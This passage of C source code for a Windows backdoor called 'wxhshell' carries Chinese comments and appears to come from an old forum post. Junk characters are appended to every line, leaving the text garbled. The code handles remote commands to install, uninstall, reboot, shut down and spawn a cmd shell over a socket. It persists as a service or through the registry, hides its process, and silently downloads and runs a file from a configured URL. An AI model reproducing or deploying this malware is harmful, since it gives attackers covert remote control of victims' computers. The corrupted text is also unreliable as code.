  } \f=kQbM  
  else { =5:S"WNj  
74&{GCL  
    switch(cmd[0]) { "'/+}xM"5  
  aj=-^iGG  
  // 帮助 BkY#wJ'  
  case '?': { ab#z&jg!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BB_(!omq[  
    break; jy_4W!4a  
  } C0 /G1\  
  // 安装 ='@ k>Ka+  
  case 'i': { rq1zvuUx  
    if(Install()) oFT1d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(e1kk}"  
    else p*Yx1er1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4n1 g@A=y  
    break; t;u)_C,bmP  
    } b `bg`}x  
  // 卸载 +;=>&XR0m  
  case 'r': { /c6]DQ<?  
    if(Uninstall()) o)$eIu}Wg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8VuLL<\|  
    else -BWWaL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cl |}0Q5  
    break; IRTWmT jT  
    } I3}]MAE  
  // 显示 wxhshell 所在路径 B\qy:nr j  
  case 'p': { =kCiJ8q|  
    char svExeFile[MAX_PATH]; }^P"R[+4u  
    strcpy(svExeFile,"\n\r"); 2|U6dLZ!  
      strcat(svExeFile,ExeFile); 3+q-yP#X  
        send(wsh,svExeFile,strlen(svExeFile),0); A,(9|#%L  
    break; r;E5e]w*-  
    } 3,#v0#  
  // 重启 Ndyo)11z  
  case 'b': { E`{DX9^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]z| 2  
    if(Boot(REBOOT)) MXjN ./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@/dQV%Z  
    else { )-Z*/uF^  
    closesocket(wsh); fI'+4 )@x  
    ExitThread(0); xMa9o  
    } ~yV?*"Hi  
    break; 1=ZQRJW0B  
    } 1^ go)(Mx  
  // 关机 `tcX[(`  
  case 'd': { ]24]id  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B\% Gp}  
    if(Boot(SHUTDOWN)) G*~CB\K_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;KvUR/+FE  
    else { Dz/MIx  
    closesocket(wsh); 5PP^w~n  
    ExitThread(0); 8*|*@  
    } ePxAZg$ `>  
    break; *)oBE{6D  
    } `B,R+==G:  
  // 获取shell sGpAaGY>  
  case 's': { fzAkUvo  
    CmdShell(wsh); t2|0no  
    closesocket(wsh); /gex0 w  
    ExitThread(0); O7 yj<  
    break; r=p^~tuyxr  
  } WP=uHg  
  // 退出 Xg\unUHa  
  case 'x': { <7zz"R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %b~ND?nn-  
    CloseIt(wsh); /zr)9LQY0  
    break; _a_T`fE&de  
    } Bgp%hK  
  // 离开 fZ^ad1o  
  case 'q': { ~y whl'"k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ] ;HCt=I~  
    closesocket(wsh); ^t$uDQ[hA  
    WSACleanup(); ;Cjj_9e,:  
    exit(1); dxH.  
    break; y(E<MRd8V  
        } Z|)1ftcC  
  } V 'fri/Z  
  } 8Z)wot  
?crK613 t  
  // 提示信息 l-x-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |CQ0{1R1  
} F(^#_tXP  
  }  -rT#Wi  
2Uu!_n}tNF  
  return; KuL+~  
} "|R75m,Id  
OI3j!L2f  
// shell模块句柄 OKk" S_`  
int CmdShell(SOCKET sock) zZey  
{ d#W^S[[  
STARTUPINFO si; Lf%}\0:  
ZeroMemory(&si,sizeof(si)); ,4B8?0sH|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }r;=<mc,O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YN7`18u  
PROCESS_INFORMATION ProcessInfo; g`tV^b")  
char cmdline[]="cmd"; "D KrQ,L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Md8<IFi9]Q  
  return 0; P8;1,?ou  
} A]drNFE  
WLta{A?  
// 自身启动模式 0O-"tP8o  
int StartFromService(void) ( )f)  
{ xDsKb_  
typedef struct ;>F1?5P{  
{ Y0m?ZVt  
  DWORD ExitStatus; /}iBrMD{[  
  DWORD PebBaseAddress; fr$6&HDZ9  
  DWORD AffinityMask; ;vbM C74J#  
  DWORD BasePriority; "" _B3'  
  ULONG UniqueProcessId; [/l&:)5W>  
  ULONG InheritedFromUniqueProcessId; iOL/u)   
}   PROCESS_BASIC_INFORMATION; ,) aUp4*  
koE]\B2A6  
PROCNTQSIP NtQueryInformationProcess; MD3iWgM  
^&$86-PB/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tks"GlE*D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '$J M2 u  
{) sE;p-  
  HANDLE             hProcess; hTcU %Nc  
  PROCESS_BASIC_INFORMATION pbi; 7r.~L  
t~44ub6GN`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L]&y[/\E1  
  if(NULL == hInst ) return 0; ;d_<6|*M  
<=w!:   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !4 lN[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4gWlSm)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lw1[)Vk}E  
]1W]  
  if (!NtQueryInformationProcess) return 0; "<%J^Z9G  
U6y`:G;.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wfcR[  
  if(!hProcess) return 0; 1?.NJ<)F  
{vZAOz7#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u`Y~r<?P(  
d\tY-X3  
  CloseHandle(hProcess); FV,aQ#  
Dca,IaT'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H0.A;`  
if(hProcess==NULL) return 0; -})zRL0!'  
Z+[W@5q  
HMODULE hMod; f/4DFs{  
char procName[255]; iun_z$I<+Z  
unsigned long cbNeeded; t~) g)=>  
4Tx.|   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o)DO[  
V7O7"Q^q  
  CloseHandle(hProcess); :Gx5vo  
n[# **s  
if(strstr(procName,"services")) return 1; // 以服务启动 7VWy1  
V?p`rrj@  
  return 0; // 注册表启动 |`{$Ego:  
} i XGy*#>V  
OPogH=vf  
// 主模块 >l=^3B,j  
int StartWxhshell(LPSTR lpCmdLine) IY mkZ?cW  
{ HS\'{4P  
  SOCKET wsl; bw+IH-b  
BOOL val=TRUE; "pH;0[r]  
  int port=0; ?1] \3nj  
  struct sockaddr_in door; v\?l+-A? y  
;cp||uO  
  if(wscfg.ws_autoins) Install(); CVEo<Tz  
82?LZ?!PD  
port=atoi(lpCmdLine); @L0)k^:  
!(Q@1 c&z  
if(port<=0) port=wscfg.ws_port; >B*zzj  
p<w C{D  
  WSADATA data; @U1t~f^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0($On`#  
6E^9>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | qelvK*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `VDvxl@1  
  door.sin_family = AF_INET; B7.&yXWgn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Z"[2Dm  
  door.sin_port = htons(port); _9Rj,  
R\/tKZJjb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _5$L`&  
closesocket(wsl); #YK3Ogb,  
return 1; d3#e7rQ8  
} {SRD\&J[  
fE3%$M[V7  
  if(listen(wsl,2) == INVALID_SOCKET) { }1lZW"{e[  
closesocket(wsl); o#BI_#b  
return 1; ?U1Nm~'UZ  
} T1x67 b u  
  Wxhshell(wsl); CJs ~!ww  
  WSACleanup(); {G<1.  
[qk c6sqo  
return 0; (XFF}~>B.  
}nO%q6|\V  
} 2+ g'ul`  
-7%dgY(  
// 以NT服务方式启动 /~c9'38  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fzy#!^9Nu  
{ F}1._I`-  
DWORD   status = 0; v#:?:<  
  DWORD   specificError = 0xfffffff; e#F3KLSL`  
6BEDk!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MIWc @.i2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >xsY"N&1i'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s|TO9N)pO  
  serviceStatus.dwWin32ExitCode     = 0; }9;mtMR$  
  serviceStatus.dwServiceSpecificExitCode = 0; x{Dw?6TP  
  serviceStatus.dwCheckPoint       = 0; 'SrDc'?  
  serviceStatus.dwWaitHint       = 0; 4nh0bIN1  
&Mt0Qa[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dNov= w  
  if (hServiceStatusHandle==0) return; [6/8O  
NZFUCD)  
status = GetLastError(); Ap|g[J  
  if (status!=NO_ERROR) \(`C*d  
{ L&uPNcZ`-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _?$w8 S%  
    serviceStatus.dwCheckPoint       = 0; 0(&Rm R  
    serviceStatus.dwWaitHint       = 0; v!3Oq.ot  
    serviceStatus.dwWin32ExitCode     = status; @uG/2'B(  
    serviceStatus.dwServiceSpecificExitCode = specificError; c%+uji6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R9QW%!:,\2  
    return; d5R2J:dI  
  } %Q;:nVt  
mC?}:W M@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1|:;~9n<t  
  serviceStatus.dwCheckPoint       = 0; uX&h~qE/  
  serviceStatus.dwWaitHint       = 0; lZ <D,&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pigu]mj  
} SxcE@WM  
wu b7w#  
// 处理NT服务事件,比如:启动、停止 Be<bBKQb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TD4 n%k.  
{ HIfi18  
switch(fdwControl) ^BW8zu@=O  
{ wgq=9\+&  
case SERVICE_CONTROL_STOP: ejbtdU8N<  
  serviceStatus.dwWin32ExitCode = 0; !X-ThKEq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eiRVw5g  
  serviceStatus.dwCheckPoint   = 0; %/hokyx  
  serviceStatus.dwWaitHint     = 0; R$+"'N6p  
  { SbsdunW+?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rd5pLrr[0)  
  } ^$RpP+d  
  return; X?/32~\  
case SERVICE_CONTROL_PAUSE: P\z1fscnK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =2vZqGO30  
  break; lh!8u<yv*  
case SERVICE_CONTROL_CONTINUE: [TxvZq*4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .SSPJY(  
  break; HL:w*8a  
case SERVICE_CONTROL_INTERROGATE: V!e*J,g  
  break; #$!^1yO  
}; ?g0dr?H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Hv kn{{'  
} ]+ tO  
m"AyO"}I5  
// 标准应用程序主函数 uv{*f)j/d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wWq-zGH|&  
{ L},o;p:  
l-Dgm  
// 获取操作系统版本 6{fo.M?  
OsIsNt=GetOsVer(); z(>:LX"xz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <7/7+_y  
.t{uzDM  
  // 从命令行安装 T?`Ha\go  
  if(strpbrk(lpCmdLine,"iI")) Install(); fQ_tXY  
*GdJ<B$  
  // 下载执行文件 0$U\H>r  
if(wscfg.ws_downexe) { l^$U~OB8k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M.C`nI4  
  WinExec(wscfg.ws_filenam,SW_HIDE); zW.Ltz  
} y\dx \  
&hZ6CV{  
if(!OsIsNt) { th0>u.hJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 >km$zfM2-  
HideProc(); pNu?DF{ 3  
StartWxhshell(lpCmdLine); ,I,Zl.5  
} [g+WL\1  
else =OKUSHu@V  
  if(StartFromService()) L%pAEoSG  
  // 以服务方式启动 m}6>F0Kv  
  StartServiceCtrlDispatcher(DispatchTable); "ZmxHMf  
else `H^ H#W  
  // 普通方式启动 j2 >WHh  
  StartWxhshell(lpCmdLine); K;TTGK  
(@O,U  
return 0; >}u#KBedE  
}
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只看该作者 1 发表于: 2006-10-10
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